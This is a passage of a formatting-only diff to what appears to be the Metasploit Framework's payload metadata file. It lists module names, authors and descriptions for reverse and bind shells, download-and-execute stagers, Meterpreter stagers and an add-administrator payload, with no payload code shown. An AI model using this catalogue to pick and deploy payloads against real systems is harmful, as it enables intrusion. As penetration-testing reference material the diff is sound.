{}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215218,9 +190994,7 @@ "payload_cmd/unix/reverse_ruby": { "name": "Unix Command Shell, Reverse TCP (via Ruby)", "fullname": "payload/cmd/unix/reverse_ruby", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215228,9 +191002,7 @@ "kris katterjohn " ], "description": "Connect back and create a command shell via Ruby", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -215244,8 +191016,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215254,9 +191025,7 @@ "payload_cmd/unix/reverse_ruby_ssl": { "name": "Unix Command Shell, Reverse TCP SSL (via Ruby)", "fullname": "payload/cmd/unix/reverse_ruby_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215264,9 +191033,7 @@ "RageLtMan " ], "description": "Connect back and create a command shell via Ruby, uses SSL", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -215280,8 +191047,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215290,9 +191056,7 @@ "payload_cmd/unix/reverse_socat_sctp": { "name": "Unix Command Shell, Reverse SCTP (via socat)", "fullname": "payload/cmd/unix/reverse_socat_sctp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215300,9 +191064,7 @@ "RageLtMan " ], "description": "Creates an interactive shell via socat", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -215316,8 +191078,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215326,9 +191087,7 @@ "payload_cmd/unix/reverse_socat_tcp": { "name": "Unix Command Shell, Reverse TCP (via socat)", "fullname": "payload/cmd/unix/reverse_socat_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215336,9 +191095,7 @@ "jheysel-r7" ], "description": "Creates an interactive shell via socat", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -215352,8 +191109,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215362,9 +191118,7 @@ "payload_cmd/unix/reverse_socat_udp": { "name": "Unix Command Shell, Reverse UDP (via socat)", "fullname": "payload/cmd/unix/reverse_socat_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215372,9 +191126,7 @@ "RageLtMan " ], "description": "Creates an interactive shell via socat", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -215388,8 +191140,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215398,9 +191149,7 @@ "payload_cmd/unix/reverse_ssh": { "name": "Unix Command Shell, Reverse TCP SSH", "fullname": "payload/cmd/unix/reverse_ssh", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215409,9 +191158,7 @@ "hirura" ], "description": "Connect back and create a command shell via SSH", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -215425,8 +191172,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215435,9 +191181,7 @@ "payload_cmd/unix/reverse_ssl_double_telnet": { "name": "Unix Command Shell, Double Reverse TCP SSL (telnet)", "fullname": "payload/cmd/unix/reverse_ssl_double_telnet", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215446,9 +191190,7 @@ "RageLtMan " ], "description": "Creates an interactive shell through two inbound connections, encrypts using SSL via \"-z\" option", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -215462,8 +191204,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215472,9 +191213,7 @@ "payload_cmd/unix/reverse_stub": { "name": "Unix Command Shell, Reverse TCP (stub)", "fullname": "payload/cmd/unix/reverse_stub", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215482,9 +191221,7 @@ "hdm " ], "description": "Creates an interactive shell through an inbound connection (stub only, no payload)", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -215498,8 +191235,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215508,9 +191244,7 @@ "payload_cmd/unix/reverse_tclsh": { "name": "Unix Command Shell, Reverse TCP (via Tclsh)", "fullname": "payload/cmd/unix/reverse_tclsh", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215518,9 +191252,7 @@ "bcoles " ], "description": "Creates an interactive shell via Tclsh", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -215534,8 +191266,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215544,9 +191275,7 @@ "payload_cmd/unix/reverse_zsh": { "name": "Unix Command Shell, Reverse TCP (via Zsh)", "fullname": "payload/cmd/unix/reverse_zsh", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215555,9 +191284,7 @@ "Wang Yihang " ], "description": "Connect back and create a command shell via Zsh. Note: Although Zsh is often\n available, please be aware it isn't usually installed by default.", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -215571,8 +191298,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215581,9 +191307,7 @@ "payload_cmd/windows/adduser": { "name": "Windows Execute net user /ADD CMD", "fullname": "payload/cmd/windows/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215593,9 +191317,7 @@ "Chris John Riley" ], "description": "Create a new user and add them to local administration group.\n\n Note: The specified password is checked for common complexity\n requirements to prevent the target machine rejecting the user\n for failing to meet policy requirements.\n\n Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -215609,8 +191331,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215619,9 +191340,7 @@ "payload_cmd/windows/bind_lua": { "name": "Windows Command Shell, Bind TCP (via Lua)", "fullname": "payload/cmd/windows/bind_lua", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215629,9 +191348,7 @@ "xistence " ], "description": "Listen for a connection and spawn a command shell via Lua", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -215645,8 +191362,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215655,9 +191371,7 @@ "payload_cmd/windows/bind_perl": { "name": "Windows Command Shell, Bind TCP (via Perl)", "fullname": "payload/cmd/windows/bind_perl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215667,9 +191381,7 @@ "aushack " ], "description": "Listen for a connection and spawn a command shell via perl (persistent)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -215683,8 +191395,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215693,9 +191404,7 @@ "payload_cmd/windows/bind_perl_ipv6": { "name": "Windows Command Shell, Bind TCP (via perl) IPv6", "fullname": "payload/cmd/windows/bind_perl_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215705,9 +191414,7 @@ "aushack " ], "description": "Listen for a connection and spawn a command shell via perl (persistent)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -215721,8 +191428,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215731,9 +191437,7 @@ "payload_cmd/windows/bind_ruby": { "name": "Windows Command Shell, Bind TCP (via Ruby)", "fullname": "payload/cmd/windows/bind_ruby", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215741,9 +191445,7 @@ "kris katterjohn " ], "description": "Continually listen for a connection and spawn a command shell via Ruby", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -215757,8 +191459,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215767,9 +191468,7 @@ "payload_cmd/windows/download_eval_vbs": { "name": "Windows Executable Download and Evaluate VBS", "fullname": "payload/cmd/windows/download_eval_vbs", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215777,9 +191476,7 @@ "scriptjunkie" ], "description": "Downloads a file from an HTTP(S) URL and executes it as a vbs script.\n Use it to stage a vbs encoded payload from a short command line.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -215793,8 +191490,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215803,9 +191499,7 @@ "payload_cmd/windows/download_exec_vbs": { "name": "Windows Executable Download and Execute (via .vbs)", "fullname": "payload/cmd/windows/download_exec_vbs", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215813,9 +191507,7 @@ "scriptjunkie" ], "description": "Download an EXE from an HTTP(S) URL and execute it", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -215829,8 +191521,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215839,9 +191530,7 @@ "payload_cmd/windows/generic": { "name": "Windows Command, Generic Command Execution", "fullname": "payload/cmd/windows/generic", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215849,9 +191538,7 @@ "juan vazquez " ], "description": "Executes the supplied command", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -215865,8 +191552,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215875,9 +191561,7 @@ "payload_cmd/windows/http/x64/custom/bind_ipv6_tcp": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/http/x64/custom/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215887,9 +191571,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -215903,8 +191585,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -215917,9 +191598,7 @@ "payload_cmd/windows/http/x64/custom/bind_ipv6_tcp_uuid": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/http/x64/custom/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215930,9 +191609,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -215946,8 +191623,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -215960,9 +191636,7 @@ "payload_cmd/windows/http/x64/custom/bind_named_pipe": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/http/x64/custom/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215972,9 +191646,7 @@ "UserExistsError" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -215988,8 +191660,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216002,9 +191673,7 @@ "payload_cmd/windows/http/x64/custom/bind_tcp": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/http/x64/custom/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216014,9 +191683,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nListen for a connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216030,8 +191697,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216044,9 +191710,7 @@ "payload_cmd/windows/http/x64/custom/bind_tcp_rc4": { "name": "HTTP Fetch, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/http/x64/custom/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216061,9 +191725,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216077,8 +191739,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216091,9 +191752,7 @@ "payload_cmd/windows/http/x64/custom/bind_tcp_uuid": { "name": "HTTP Fetch, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/http/x64/custom/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216104,9 +191763,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216120,8 +191777,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216134,9 +191790,7 @@ "payload_cmd/windows/http/x64/custom/reverse_http": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/http/x64/custom/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216146,9 +191800,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216162,8 +191814,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216176,9 +191827,7 @@ "payload_cmd/windows/http/x64/custom/reverse_https": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/http/x64/custom/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216190,9 +191839,7 @@ "rwincey" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216206,8 +191853,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216220,9 +191866,7 @@ "payload_cmd/windows/http/x64/custom/reverse_named_pipe": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/http/x64/custom/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216232,9 +191876,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216248,8 +191890,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216262,9 +191903,7 @@ "payload_cmd/windows/http/x64/custom/reverse_tcp": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/http/x64/custom/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216274,9 +191913,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nConnect back to the attacker (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216290,8 +191927,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216304,9 +191940,7 @@ "payload_cmd/windows/http/x64/custom/reverse_tcp_rc4": { "name": "HTTP Fetch, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/http/x64/custom/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216321,9 +191955,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216337,8 +191969,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216351,9 +191982,7 @@ "payload_cmd/windows/http/x64/custom/reverse_tcp_uuid": { "name": "HTTP Fetch, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/http/x64/custom/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216364,9 +191993,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216380,8 +192007,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216394,9 +192020,7 @@ "payload_cmd/windows/http/x64/custom/reverse_winhttp": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/http/x64/custom/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216406,9 +192030,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216422,8 +192044,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216436,9 +192057,7 @@ "payload_cmd/windows/http/x64/custom/reverse_winhttps": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/http/x64/custom/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216448,9 +192067,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216464,8 +192081,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216478,9 +192094,7 @@ "payload_cmd/windows/http/x64/encrypted_shell/reverse_tcp": { "name": "HTTP Fetch, Windows Command Shell, Encrypted Reverse TCP Stager", "fullname": "payload/cmd/windows/http/x64/encrypted_shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216490,9 +192104,7 @@ "Shelby Pace" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a piped command shell (staged).\n\nConnect to MSF and read in stage", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216506,8 +192118,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216520,9 +192131,7 @@ "payload_cmd/windows/http/x64/encrypted_shell_reverse_tcp": { "name": "HTTP Fetch, Windows Encrypted Reverse Shell", "fullname": "payload/cmd/windows/http/x64/encrypted_shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216532,9 +192141,7 @@ "Shelby Pace" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to attacker and spawn an encrypted command shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216548,8 +192155,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216560,9 +192166,7 @@ "payload_cmd/windows/http/x64/exec": { "name": "HTTP Fetch, Windows x64 Execute Command", "fullname": "payload/cmd/windows/http/x64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216571,9 +192175,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nExecute an arbitrary command (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216587,8 +192189,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216599,9 +192200,7 @@ "payload_cmd/windows/http/x64/loadlibrary": { "name": "HTTP Fetch, Windows x64 LoadLibrary Path", "fullname": "payload/cmd/windows/http/x64/loadlibrary", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216611,9 +192210,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nLoad an arbitrary x64 library path", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216627,8 +192224,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216639,9 +192235,7 @@ "payload_cmd/windows/http/x64/messagebox": { "name": "HTTP Fetch, Windows MessageBox x64", "fullname": "payload/cmd/windows/http/x64/messagebox", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216650,9 +192244,7 @@ "pasta " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a dialog via MessageBox using a customizable title, text & icon", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216666,8 +192258,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216678,9 +192269,7 @@ "payload_cmd/windows/http/x64/meterpreter/bind_ipv6_tcp": { "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/http/x64/meterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216708,8 +192297,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216722,9 +192310,7 @@ "payload_cmd/windows/http/x64/meterpreter/bind_ipv6_tcp_uuid": { "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/http/x64/meterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216752,8 +192338,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216766,9 +192351,7 @@ "payload_cmd/windows/http/x64/meterpreter/bind_named_pipe": { "name": "HTTP Fetch, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/http/x64/meterpreter/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216797,8 +192380,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216811,9 +192393,7 @@ "payload_cmd/windows/http/x64/meterpreter/bind_tcp": { "name": "HTTP Fetch, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/http/x64/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216841,8 +192421,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216855,9 +192434,7 @@ "payload_cmd/windows/http/x64/meterpreter/bind_tcp_rc4": { "name": "HTTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/http/x64/meterpreter/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216889,8 +192466,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216903,9 +192479,7 @@ "payload_cmd/windows/http/x64/meterpreter/bind_tcp_uuid": { "name": "HTTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/http/x64/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216933,8 +192507,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216947,9 +192520,7 @@ "payload_cmd/windows/http/x64/meterpreter/reverse_http": { "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216977,8 +192548,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216991,9 +192561,7 @@ "payload_cmd/windows/http/x64/meterpreter/reverse_https": { "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217024,8 +192592,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217038,9 +192605,7 @@ "payload_cmd/windows/http/x64/meterpreter/reverse_named_pipe": { "name": "HTTP Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217068,8 +192633,7 @@ "check": false, "post_auth": false, "default_credential": false, - 